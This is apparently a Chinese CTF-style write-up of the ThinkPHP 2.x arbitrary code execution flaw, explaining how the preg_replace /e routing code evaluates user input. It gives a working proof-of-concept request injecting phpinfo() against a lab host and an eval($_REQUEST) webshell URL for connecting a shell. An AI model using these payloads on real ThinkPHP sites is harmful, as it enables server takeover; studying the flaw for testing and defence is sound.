AI智能
改变未来

ThinkPHP 2.x任意代码执行


0x00 漏洞概述

CTF中十分常见,官方早已停止维护,这里作为考古,毕竟是ThinkPHP系列漏洞“首秀”。

在ThinkPHP 2.x版本中,使用

preg_replace()

的/e模式匹配路由:

$res = preg_replace(\'@(\\w+)\'.$depr.\'([^\'.$depr.\'\\/]+)@e\', \'$var[\\\'\\\\1\\\']="\\\\2";\', implode($depr,$paths));

用户输入被插入双引号中执行,造成任意代码执行漏洞。这是框架本身的逻辑漏洞,不需要二次开发失误作为条件。

ThinkPHP3.0版本因为Lite模式没有修复这个漏洞,也可以利用。

preg_replace()

函数用于正则替换,三个参数依次为正则规则、替换字符串、目标字符串,匹配目标字符串中符合正则的部分,用替换字符串加以替换。

/e模式就是在正则规则的尾部添加了/e,此时会将替换字符串(第二个参数)当作代码执行。\\1是指第一个子匹配项,\\2是指第二个。

0x01 利用流程

访问靶机

PoC验证

GET ?s=/index/index/xxx/${@phpinfo()} HTTP/1.1Host: 192.168.0.108:25915Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close

连接

/index.php?s=/index/index/xxx/${${@eval($_REQUEST[233])}}

赞(0) 打赏
未经允许不得转载:爱站程序员基地 » ThinkPHP 2.x任意代码执行